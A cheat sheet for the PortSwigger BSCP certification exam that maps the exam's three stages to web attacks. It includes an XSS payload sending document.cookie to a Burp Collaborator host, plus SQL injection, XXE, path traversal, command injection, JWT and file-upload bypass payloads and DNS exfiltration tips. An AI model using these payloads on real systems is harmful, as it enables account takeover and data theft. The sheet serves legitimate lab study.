🎯 BSCP Exam Flow
2 apps × 3 stages = 6 total. Must complete ALL 6 to pass!
Stage 1: Get User Access
Log into ANY non-admin user account. Check for these vulnerabilities:
XSS → Cookie Stealing
<script>fetch('https://BURP-COLLAB/'+document.cookie)</script>
Password Reset Poisoning
Host: YOUR-EXPLOIT-SERVER
Web Cache Poisoning
X-Forwarded-Host: exploit.com
OAuth Account Takeover
redirect_uri=https://exploit.com
⚠️ Check the Exploit Server
Most Stage 1 attacks require delivering a payload via the exploit server. Always check the access log for callbacks!
Stage 2: Escalate to Admin
Access /admin or compromise the admin account. Look for:
SQL Injection
' UNION SELECT username,password FROM users--
CSRF → Admin Action
<form action="/admin/upgrade" method="POST">
JWT None Algorithm
{"alg":"none"}
IDOR/Access Control
/admin?user=administrator
🔧 JWT Tools
jwtauditor.com (web-based) | jwt.io (decode/encode) | JWT Editor (Burp Extension)
Stage 3: Read Secret File
Read /home/carlos/secret and submit the contents.
SSRF (Port 6566!)
http://localhost:6566/home/carlos/secret
XXE
<!ENTITY xxe SYSTEM "file:///home/carlos/secret">
Path Traversal
../../../home/carlos/secret
OS Command Injection
; cat /home/carlos/secret
XSS Payloads
Auto-Trigger Events
onerror, onload, onfocus, ontoggle
Best for Exam
<img src=x onerror=...> (most reliable)
✓ PortSwigger XSS Cheat Sheet
Use portswigger.net/web-security/cross-site-scripting/cheat-sheet for filter bypass techniques!
SQL Injection
SSRF & XXE
SSRF Payloads
⚠️ EXAM-SPECIFIC TIP
On the exam, SSRF can access an internal file service on port 6566: http://localhost:6566/home/carlos/secret
XXE Payloads
Insecure Deserialization
⚠️ Common Gadget Chains
CommonsCollections1-7, Spring, JBoss, ROME, Jackson. Use Burp Scanner to detect!
Authentication Attacks
Server-Side Template Injection
SSTI allows RCE by injecting template syntax. Test for templates, then use engine-specific payloads.
⚠️ SSTI Detection Tip
If {{7*7}} returns 49, SSTI is confirmed. Use HackTricks to identify the template engine.
HTTP Request Smuggling
✓ Use HTTP Request Smuggler Extension
Install from BApp Store. It auto-detects smuggling vulnerabilities!
OS Command Injection
Target: Submit Feedback page - Email input field is most common location.
⚠️ CRITICAL EXAM TIP
Use DNS exfiltration with nslookup - most reliable method on the exam!
✓ Exam Strategy
DNS callbacks work even when HTTP is blocked. Secret appears as subdomain in Collaborator logs!
Path Traversal
Target: /image?filename= parameter
⚠️ Full URL Encoding
If you can read /etc/passwd but not /home/carlos/secret, try fully URL-encoding the entire payload!
File Upload Attacks
Target: Avatar/Image Upload functionality
Extension Bypass
.php5, .phtml, .phar, .pHp
Content-Type Bypass
Content-Type: image/jpeg
Clickjacking
⚠️ Positioning Tip
Set opacity: 0.5 to see alignment, then 0.0001 for final exploit. Adjust top and left values.
SSRF via PDF Generation
Target: Admin panel "Download report as PDF" feature
✓ Exam Pattern
Look for PDF download features in admin panel. Port 6566 is exam-specific internal service!
XSS Auto-Trigger Events
For iframe-based DOM XSS - events that auto-trigger without user interaction:
| Event | Element | Auto? | Syntax |
|---|---|---|---|
| onerror | <img> | ✅ Yes | <img src=x onerror=PAYLOAD> |
| onload | <body> | ✅ Yes | <body onload=PAYLOAD> |
| onfocus | <input> | ✅ Yes | <input onfocus=PAYLOAD autofocus> |
| ontoggle | <details> | ✅ Yes | <details open ontoggle=PAYLOAD> |
| onresize | <body> | ✅ iframe | <body onresize=PAYLOAD> |
| onanimationstart | <div> | ✅ CSS | style=animation-name:x |
⚠️ URL Encoding
Use %2b for + in iframe src URLs for string concatenation!
CSRF Bypass Techniques
Target: Email/Password Change functionality → Reset admin password → Login
✓ Exam Flow
CSRF email change → Password reset to your email → Login as admin
Web Cache Poisoning
🔍 Detection
Look for: /resources/js/tracking.js AND X-Cache: hit in response
⚠️ CRITICAL
Send poisoned request 10+ times until cache is poisoned. Use Param Miner extension to find unkeyed inputs.
OAuth Authentication Attacks
Implicit Flow Bypass
Modify email/username in POST /authenticate request
Missing State (CSRF)
Force OAuth linking without state parameter
CORS Exploitation
Check /accountDetails endpoint for CORS misconfiguration
✓ Detection
Check if Access-Control-Allow-Origin reflects your Origin header or allows null
Exam Quick Reference
| Stage | Pattern | Attack |
|---|---|---|
| Stage 1 | Search bar | DOM XSS → Cookie theft |
| Stage 1 | Password reset | Host header poisoning |
| Stage 2 | Advanced Search | SQLMap → Admin creds |
| Stage 2 | Profile JSON | roleId/isAdmin manipulation |
| Stage 3 | Template edit | SSTI → file read |
| Stage 3 | Stock check XML | XXE → file read |
| Stage 3 | Feedback email | DNS exfil via nslookup |
| Stage 3 | PDF download | SSRF iframe port 6566 |
📋 Stage 3 Quick Checklist
• Template editing visible? → SSTI
• ?ImgSize= parameter? → Command Injection
• ?filename= parameter? → Path Traversal
• XML stock check? → XXE
• PDF download feature? → SSRF via HTML injection
• Avatar upload? → Polyglot PHP shell
Cheatsheet reviewed by @dr34mhacks